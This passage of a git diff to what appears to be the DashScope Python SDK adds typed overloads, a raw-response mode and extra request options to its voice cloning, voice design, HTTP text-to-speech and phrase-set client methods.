with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) @@ -312,6 +633,7 @@ class Voices(_CustomizationBase): PATH = "/services/audio/tts/customization" DEFAULT_MODEL = "voice-enrollment" + @overload def create( self, *, @@ -327,8 +649,67 @@ def create( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Voice: - """Clone a voice from the audio at ``url``; carries ``voice_id``.""" + ... + + @overload + def create( + self, + *, + target_model: str, + prefix: str, + url: str, + language_hints: Optional[List[str]] = None, + max_prompt_audio_length: Optional[float] = None, + extra_input: Optional[Dict[str, Any]] = None, + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + target_model: str, + prefix: str, + url: str, + language_hints: Optional[List[str]] = None, + max_prompt_audio_length: Optional[float] = None, + extra_input: Optional[Dict[str, Any]] = None, + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Voice, "APIResponse"]: + """Clone a voice from the audio at ``url``; carries ``voice_id``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ fields: Dict[str, Any] = dict(extra_input or {}) # Named arguments win over the ``extra_input=`` escape hatch. fields.update( @@ -338,7 +719,7 @@ def create( fields["language_hints"] = language_hints if max_prompt_audio_length is not None: fields["max_prompt_audio_length"] = max_prompt_audio_length - response = self._call( + resp = self._call( "create_voice", fields, model=model, @@ -347,12 +728,19 @@ def create( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - Voice(**self._parse_response(response)), - response, + self._parse_model(Voice, resp.http_response), + resp.http_response, ) + @overload def list( self, *, @@ -364,15 +752,66 @@ def list( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> VoiceList: - """List cloned voices, optionally narrowed to one ``prefix``.""" + ... + + @overload + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[VoiceList, "APIResponse"]: + """List cloned voices, optionally narrowed to one ``prefix``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ fields: Dict[str, Any] = { "page_index": page_index, "page_size": page_size, } if prefix: fields["prefix"] = prefix - response = self._call( + resp = self._call( "list_voice", fields, model=model, @@ -380,12 +819,19 @@ def list( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - VoiceList(**self._parse_response(response)), - response, + self._parse_model(VoiceList, resp.http_response), + resp.http_response, ) + @overload def get( self, voice_id: str, @@ -395,10 +841,57 @@ def get( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Voice: - """Fetch one voice's details (1.x ``query_voice``).""" + ... + + @overload + def get( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Voice, "APIResponse"]: + """Fetch one voice's details (1.x ``query_voice``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "query_voice", {"voice_id": voice_id}, model=model, @@ -406,12 +899,19 @@ def get( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - Voice(**self._parse_response(response)), - response, + self._parse_model(Voice, resp.http_response), + resp.http_response, ) + @overload def update( self, voice_id: str, @@ -422,10 +922,59 @@ def update( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Re-clone one voice from the audio at ``url``.""" + ... + + @overload + def update( + self, + voice_id: str, + *, + url: str, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def update( + self, + voice_id: str, + *, + url: str, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Re-clone one voice from the audio at ``url``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "update_voice", {"voice_id": voice_id, "url": url}, model=model, @@ -433,12 +982,19 @@ def update( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) + @overload def delete( self, voice_id: str, @@ -448,10 +1004,57 @@ def delete( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Delete one cloned voice.""" + ... + + @overload + def delete( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete one cloned voice. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "delete_voice", {"voice_id": voice_id}, model=model, @@ -459,10 +1062,16 @@ def delete( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) @@ -478,6 +1087,7 @@ class VoiceDesign(_CustomizationBase): PATH = "/services/audio/tts/customization" DEFAULT_MODEL = "voice-enrollment" + @overload def create( self, *, @@ -493,7 +1103,59 @@ def create( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DesignedVoice: + ... + + @overload + def create( + self, + *, + target_model: str, + prefix: str, + voice_prompt: str, + preview_text: str, + language_hints: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + target_model: str, + prefix: str, + voice_prompt: str, + preview_text: str, + language_hints: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DesignedVoice, "APIResponse"]: """Design a voice from a text prompt; carries ``voice_id`` + preview. ``prefix`` becomes part of the generated id, @@ -501,6 +1163,12 @@ def create( ``language_hints`` is honoured, and it must match the language of ``preview_text``. The voice is unusable until its ``status`` leaves ``DEPLOYING``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. """ fields: Dict[str, Any] = dict(extra_input or {}) # Named arguments win over the ``extra_input=`` escape hatch. @@ -514,7 +1182,7 @@ def create( ) if language_hints is not None: fields["language_hints"] = language_hints - response = self._call( + resp = self._call( "create_voice", fields, model=model, @@ -523,12 +1191,19 @@ def create( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - DesignedVoice(**self._parse_response(response)), - response, + self._parse_model(DesignedVoice, resp.http_response), + resp.http_response, ) + @overload def list( self, *, @@ -540,15 +1215,66 @@ def list( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DesignedVoiceList: - """List voices, optionally narrowed to one ``prefix``.""" + ... + + @overload + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DesignedVoiceList, "APIResponse"]: + """List voices, optionally narrowed to one ``prefix``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ fields: Dict[str, Any] = { "page_index": page_index, "page_size": page_size, } if prefix: fields["prefix"] = prefix - response = self._call( + resp = self._call( "list_voice", fields, model=model, @@ -556,12 +1282,19 @@ def list( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - DesignedVoiceList(**self._parse_response(response)), - response, + self._parse_model(DesignedVoiceList, resp.http_response), + resp.http_response, ) + @overload def get( self, voice_id: str, @@ -571,10 +1304,57 @@ def get( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DesignedVoice: - """Fetch one voice's details, including its review ``status``.""" + ... + + @overload + def get( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DesignedVoice, "APIResponse"]: + """Fetch one voice's details, including its review ``status``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "query_voice", {"voice_id": voice_id}, model=model, @@ -582,12 +1362,19 @@ def get( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - DesignedVoice(**self._parse_response(response)), - response, + self._parse_model(DesignedVoice, resp.http_response), + resp.http_response, ) + @overload def delete( self, voice_id: str, @@ -597,10 +1384,57 @@ def delete( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Delete one designed voice, freeing its quota.""" + ... + + @overload + def delete( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + voice_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete one designed voice, freeing its quota. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(voice_id, "voice_id") - response = self._call( + resp = self._call( "delete_voice", {"voice_id": voice_id}, model=model, @@ -608,8 +1442,14 @@ def delete( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) diff --git a/dashscope/resources/audio/http_tts.py b/dashscope/resources/audio/http_tts.py index 002439fe..d8105dfb 100644 --- a/dashscope/resources/audio/http_tts.py +++ b/dashscope/resources/audio/http_tts.py @@ -19,15 +19,19 @@ import base64 import json from typing import ( + TYPE_CHECKING, Any, AsyncIterator, Dict, Generator, Iterator, List, + Literal, Mapping, Optional, Tuple, + Union, + overload, ) from dashscope.errors import ( @@ -37,8 +41,15 @@ error_from_status, ) from dashscope.resources._sse import _try_json +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ResponseBase, response_body, with_headers +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + __all__ = [ "HttpSynthesis", "HttpSynthesisChunk", @@ -260,21 +271,30 @@ def expires_at(self) -> Optional[int]: def _synthesis_from_body( body: Dict[str, Any], header_request_id: str, + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, ) -> HttpSynthesis: output = body.get("output") - return HttpSynthesis( - **{ + return parse_model( + HttpSynthesis, + { **body, "output": output if isinstance(output, dict) else {}, "usage": _usage_dict(body), "request_id": body.get("request_id") or header_request_id, }, + strict=strict, + response=response, ) def _chunk_from_data( data: str, header_request_id: str, + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, ) -> HttpSynthesisChunk: try: body = json.loads(data) @@ -287,8 +307,9 @@ def _chunk_from_data( output = body.get("output") output = output if isinstance(output, dict) else {} payload = _audio_dict(output).get("data") - chunk = HttpSynthesisChunk( - **{ + chunk = parse_model( + HttpSynthesisChunk, + { **body, "output": output, "audio": base64.b64decode(payload, validate=True) @@ -297,6 +318,8 @@ def _chunk_from_data( "usage": _usage_dict(body), "request_id": body.get("request_id") or header_request_id, }, + strict=strict, + response=response, ) if chunk.status_code is not None and not 200 <= chunk.status_code < 300: chunk.is_error = True @@ -360,10 +383,16 @@ class AsyncHttpTts: def __init__(self, client) -> None: self._client = client - async def synthesize(self, text: str, **kwargs) -> HttpSynthesis: + async def synthesize( + self, + text: str, + **kwargs, + ) -> Union[HttpSynthesis, "APIResponse"]: + """Async twin of :meth:`HttpTts.synthesize`, ``raw`` included.""" model = kwargs.pop("model") voice = kwargs.pop("voice") - response = await self._client.transport.request( + raw = kwargs.pop("raw", False) + resp = await self._client.transport.request_api( "POST", _path_for(model), json=_build_body( @@ -386,7 +415,17 @@ async def synthesize(self, text: str, **kwargs) -> HttpSynthesis: sdk_module=MODULE, api_key=kwargs.pop("api_key", None), workspace=kwargs.pop("workspace", None), + options=request_options( + kwargs.pop("extra_headers", None), + kwargs.pop("extra_query", None), + kwargs.pop("extra_body", None), + max_retries=kwargs.pop("max_retries", None), + ), + client=self._client, ) + if raw: + return resp + response = resp.http_response return with_headers( _synthesis_from_body( response_body( @@ -394,6 +433,8 @@ async def synthesize(self, text: str, **kwargs) -> HttpSynthesis: raise_on_error=self._client.raise_on_error, ), response.headers.get("x-request-id", ""), + strict=self._client.config.strict_validation, + response=response, ), response, ) @@ -426,6 +467,12 @@ async def stream(self, text: str, **kwargs) -> AsyncHttpSynthesisStream: sdk_module=MODULE, api_key=kwargs.pop("api_key", None), workspace=kwargs.pop("workspace", None), + options=request_options( + kwargs.pop("extra_headers", None), + kwargs.pop("extra_query", None), + kwargs.pop("extra_body", None), + max_retries=kwargs.pop("max_retries", None), + ), ) async def events(): @@ -454,7 +501,12 @@ async def events(): data, response.headers, ) - yield _chunk_from_data(data, header_id) + yield _chunk_from_data( + data, + header_id, + strict=self._client.config.strict_validation, + response=response, + ) frame = decoder.feed("") if frame is not None: is_error, status, data = frame @@ -464,7 +516,12 @@ async def events(): data, response.headers, ) - yield _chunk_from_data(data, header_id) + yield _chunk_from_data( + data, + header_id, + strict=self._client.config.strict_validation, + response=response, + ) finally: await response.aclose() @@ -477,6 +534,7 @@ class HttpTts: def __init__(self, client) -> None: self._client = client + @overload def synthesize( self, text: str, @@ -492,9 +550,70 @@ def synthesize( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> HttpSynthesis: - """Synthesize in one POST; the audio comes back as a URL.""" - response = self._client.transport.request( + ... + + @overload + def synthesize( + self, + text: str, + *, + model: str, + voice: str, + format: Optional[str] = None, # pylint: disable=redefined-builtin + sample_rate: Optional[int] = None, + language_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def synthesize( + self, + text: str, + *, + model: str, + voice: str, + format: Optional[str] = None, # pylint: disable=redefined-builtin + sample_rate: Optional[int] = None, + language_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[HttpSynthesis, "APIResponse"]: + """Synthesize in one POST; the audio comes back as a URL. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + :meth:`stream` has no ``raw`` -- a streaming body is never + materialized. + """ + resp = self._client.transport.request_api( "POST", _path_for(model), json=_build_body( @@ -512,7 +631,17 @@ def synthesize( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp + response = resp.http_response return with_headers( _synthesis_from_body( response_body( @@ -520,6 +649,8 @@ def synthesize( raise_on_error=self._client.raise_on_error, ), response.headers.get("x-request-id", ""), + strict=self._client.config.strict_validation, + response=response, ), response, ) @@ -539,6 +670,10 @@ def stream( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> HttpSynthesisStream: """Stream the synthesis over SSE, one chunk per part. @@ -569,6 +704,12 @@ def stream( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) except APIStatusError as error: # >=400 is raised (and closed) before open_stream returns a response. @@ -582,6 +723,11 @@ def _events(self, response) -> Generator[HttpSynthesisChunk, None, None]: for is_error, status, data in _iter_audio_sse(response): if is_error: raise _audio_stream_error(status, data, response.headers) - yield _chunk_from_data(data, header_request_id) + yield _chunk_from_data( + data, + header_request_id, + strict=self._client.config.strict_validation, + response=response, + ) finally: response.close() diff --git a/dashscope/resources/audio/phrases.py b/dashscope/resources/audio/phrases.py index d6b8f74d..d25ac299 100644 --- a/dashscope/resources/audio/phrases.py +++ b/dashscope/resources/audio/phrases.py @@ -13,10 +13,22 @@ from __future__ import annotations -from typing import Any, Dict, List, Mapping, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, Field +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( JobStatus, ResponseBase, @@ -25,6 +37,9 @@ with_headers, ) +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + __all__ = [ "Phrase", "PhraseList", @@ -104,6 +119,16 @@ class Phrases: def __init__(self, client) -> None: self._client = client + def _parse(self, model_cls, body: Dict[str, Any], response): + """Build one response model, degrading rather than raising.""" + return parse_model( + model_cls, + flatten_envelope(body), + strict=self._client.config.strict_validation, + response=response, + ) + + @overload def create( self, *, @@ -114,10 +139,59 @@ def create( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Phrase: - """Compile a new phrase set; the result carries ``phrase_id``.""" + ... + + @overload + def create( + self, + *, + model: str, + phrases: Dict[str, Any], + training_type: str = "compile_asr_phrase", + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + phrases: Dict[str, Any], + training_type: str = "compile_asr_phrase", + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Phrase, "APIResponse"]: + """Compile a new phrase set; the result carries ``phrase_id``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or 